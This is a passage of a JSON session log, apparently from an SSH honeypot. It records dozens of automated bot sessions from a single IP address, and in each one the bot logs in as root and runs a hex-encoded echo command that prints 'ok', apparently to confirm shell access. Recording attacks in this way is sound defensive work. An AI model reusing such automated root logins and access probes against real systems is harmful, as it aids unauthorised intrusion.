  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:14.055509+00:00",
  "ended_at": "2026-08-23T08:27:16.018015+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8fc020ec-e6ee-47f3-9ad1-53b9a01fb146",
  "name": "dutiful-watchful-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:12.268064+00:00",
  "ended_at": "2026-08-23T08:27:13.322043+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b7543a4-0e28-4621-b353-e833c960e9d5",
  "name": "lonesome-fierce-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:10.466099+00:00",
  "ended_at": "2026-08-23T08:27:11.630996+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "53eb0fbe-9c08-461a-981c-cdaa35105578",
  "name": "tidal-languid-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:08.603744+00:00",
  "ended_at": "2026-08-23T08:27:09.655855+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6f7301fb-dd0a-409e-b21a-a003ab783849",
  "name": "coral-idle-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:06.009304+00:00",
  "ended_at": "2026-08-23T08:27:07.931456+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7428dbc2-8840-49df-be2a-84d0463348d5",
  "name": "vaulted-peaty-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:03.582140+00:00",
  "ended_at": "2026-08-23T08:27:05.245003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8c19ff82-c35b-45cf-9d3a-38ded5c35458",
  "name": "twilight-glacial-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:01.409761+00:00",
  "ended_at": "2026-08-23T08:27:02.821518+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e9dacd79-629a-4655-ad02-0582ab9294df",
  "name": "noble-windswept-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53040,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:58.959493+00:00",
  "ended_at": "2026-08-23T08:27:00.594550+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b49fb89-8135-48d7-90b5-95d792eafcf1",
  "name": "fleeting-diligent-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:56.975529+00:00",
  "ended_at": "2026-08-23T08:26:58.296062+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "481da63c-a425-4f8c-8fa8-90a282081e9a",
  "name": "calm-deft-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:54.213154+00:00",
  "ended_at": "2026-08-23T08:26:56.229152+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "268f9fa1-584b-44a6-8a7c-d6f4675c5655",
  "name": "gallant-noble-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52790,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:51.152071+00:00",
  "ended_at": "2026-08-23T08:26:53.427564+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9610af1f-0eeb-47b3-b1f1-732c88269514",
  "name": "buoyant-wandering-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:48.790097+00:00",
  "ended_at": "2026-08-23T08:26:50.366009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c4cf516c-aa82-4c81-91e8-d3af67eb4714",
  "name": "fearless-nimble-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:46.097418+00:00",
  "ended_at": "2026-08-23T08:26:47.970049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "00590da0-6340-4a35-b860-bed91ac4b2d3",
  "name": "verdant-upland-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:43.432624+00:00",
  "ended_at": "2026-08-23T08:26:45.283055+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d4b480da-b2f1-4a42-bd16-337b37eadc33",
  "name": "russet-smoky-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:41.248157+00:00",
  "ended_at": "2026-08-23T08:26:42.597999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7a3f690c-164c-4638-9013-da136bd8fd81",
  "name": "woven-vaulted-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:38.155188+00:00",
  "ended_at": "2026-08-23T08:26:40.440027+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7f5abbf-9329-4120-9923-27699b9b83b8",
  "name": "fearless-subtle-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:35.402262+00:00",
  "ended_at": "2026-08-23T08:26:37.310001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5776f01e-afe0-4916-806e-14def362fb06",
  "name": "blunt-fearless-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50988,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:32.362099+00:00",
  "ended_at": "2026-08-23T08:26:34.612000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a854507c-de8a-403d-b6f5-76bbb7045896",
  "name": "breezy-kindly-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:29.839123+00:00",
  "ended_at": "2026-08-23T08:26:31.685023+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96cbbd03-e094-42d0-ab52-f7acaaba3644",
  "name": "grumpy-craggy-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39010,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:27.071355+00:00",
  "ended_at": "2026-08-23T08:26:29.172527+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6605560d-7e03-4b77-9178-fa1d37d58556",
  "name": "ancient-rustic-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:24.617530+00:00",
  "ended_at": "2026-08-23T08:26:26.372009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f7f47570-fc38-48ff-926b-2423f5fe5b94",
  "name": "sooty-dapper-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39000,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:21.803272+00:00",
  "ended_at": "2026-08-23T08:26:23.854591+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3fcc8a01-f085-4ffd-8738-cc5c6655347d",
  "name": "twilight-courtly-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:18.409079+00:00",
  "ended_at": "2026-08-23T08:26:21.127158+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6e5ea8d6-e906-49f6-8656-851bb34e8593",
  "name": "electric-keen-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:16.409068+00:00",
  "ended_at": "2026-08-23T08:26:17.579005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0789aeb7-2cc4-44a4-99d0-393fd8ea7a1d",
  "name": "ancient-leafy-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44074,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:14.396713+00:00",
  "ended_at": "2026-08-23T08:26:15.596915+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b0ad80e7-4a13-4a67-8248-94eaffda70c4",
  "name": "northern-sullen-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:11.741086+00:00",
  "ended_at": "2026-08-23T08:26:13.717044+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8bb84e70-5818-4fd6-8eac-c77a53c86c01",
  "name": "drifting-jagged-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:10.024109+00:00",
  "ended_at": "2026-08-23T08:26:10.919787+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "156dca17-324a-4050-97aa-f32cb27cc0fa",
  "name": "restless-merry-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:07.497092+00:00",
  "ended_at": "2026-08-23T08:26:09.383009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "82e6ff6d-76d9-4241-9ba4-0461be473fb9",
  "name": "solemn-prairie-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:04.744325+00:00",
  "ended_at": "2026-08-23T08:26:06.740256+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "58bd88b8-030e-4bd2-a4d4-37621eef4bc0",
  "name": "earnest-supple-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:02.801076+00:00",
  "ended_at": "2026-08-23T08:26:04.021997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d896880-fdda-4e00-9655-0fc0f833e7ec",
  "name": "chilly-balmy-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50616,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:26:00.626785+00:00",
  "ended_at": "2026-08-23T08:26:02.037666+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "37cdbe82-c66e-4c38-9421-cd3960ffdc29",
  "name": "keen-vaulted-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:58.544108+00:00",
  "ended_at": "2026-08-23T08:25:59.807476+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "79956d24-7d6d-4815-81ae-b3aff30d13e5",
  "name": "vivid-prickly-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44484,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:56.580653+00:00",
  "ended_at": "2026-08-23T08:25:57.891496+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "608f8dec-d570-458e-8940-3fc5d5d9d720",
  "name": "hushed-pewter-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:55.001866+00:00",
  "ended_at": "2026-08-23T08:25:55.947663+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a1a76b09-566b-427a-9462-cd2476fa056a",
  "name": "silent-ginger-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:51.985111+00:00",
  "ended_at": "2026-08-23T08:25:54.169000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6e14319e-3770-4ab5-8bc5-7c45f0d48547",
  "name": "alpine-misty-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:49.880887+00:00",
  "ended_at": "2026-08-23T08:25:51.317764+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "238da251-d47d-4852-b883-f1ce1e992231",
  "name": "sullen-sandy-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37430,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:46.861110+00:00",
  "ended_at": "2026-08-23T08:25:49.129006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc776274-a197-41b3-b229-01c231c32704",
  "name": "bashful-plucky-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37426,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:45.257085+00:00",
  "ended_at": "2026-08-23T08:25:46.173999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d6a2e8a4-f087-49f6-8e27-21716e6ab0a1",
  "name": "granite-wandering-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37412,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:42.221085+00:00",
  "ended_at": "2026-08-23T08:25:44.377090+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aed4b084-cf20-4725-9274-31cd525703e5",
  "name": "quaint-early-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:39.595886+00:00",
  "ended_at": "2026-08-23T08:25:41.424398+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "41ff4089-2863-4e0d-bc85-cd14e14a2c4e",
  "name": "breezy-gallant-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:37.575078+00:00",
  "ended_at": "2026-08-23T08:25:38.813049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03556d3b-7282-4fab-bd49-2345e3f88ef9",
  "name": "sincere-meadow-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:34.789290+00:00",
  "ended_at": "2026-08-23T08:25:36.759397+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a1a37523-ac6a-4539-ad28-f32ee4ebf6ff",
  "name": "serene-icy-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:32.014235+00:00",
  "ended_at": "2026-08-23T08:25:34.005540+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b642a685-4bed-4dff-b3d9-d6b580448515",
  "name": "humble-drifting-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:29.365860+00:00",
  "ended_at": "2026-08-23T08:25:31.327049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f897af23-7fc6-4495-9c14-21fe0a2ec5cb",
  "name": "primal-tangled-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59320,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:23.925139+00:00",
  "ended_at": "2026-08-23T08:25:28.671045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "02c047d3-0bdf-4896-ae49-ac8fc21b6d2a",
  "name": "snowy-gleaming-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:22.074484+00:00",
  "ended_at": "2026-08-23T08:25:23.159005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8499667e-07df-4836-a1ed-b3c52d500c14",
  "name": "silent-canny-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57894,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:18.473324+00:00",
  "ended_at": "2026-08-23T08:25:21.311425+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "81ecfee7-9b77-4014-ac3d-945ff6244fca",
  "name": "hardy-cheerful-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57884,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:16.861102+00:00",
  "ended_at": "2026-08-23T08:25:17.835001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "92cff21a-7148-413d-b7f2-7fb43a76f443",
  "name": "stoic-vivid-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:14.917090+00:00",
  "ended_at": "2026-08-23T08:25:16.090807+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e551f85-2ccd-4898-bfb6-0bcfd140c702",
  "name": "grassy-humble-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
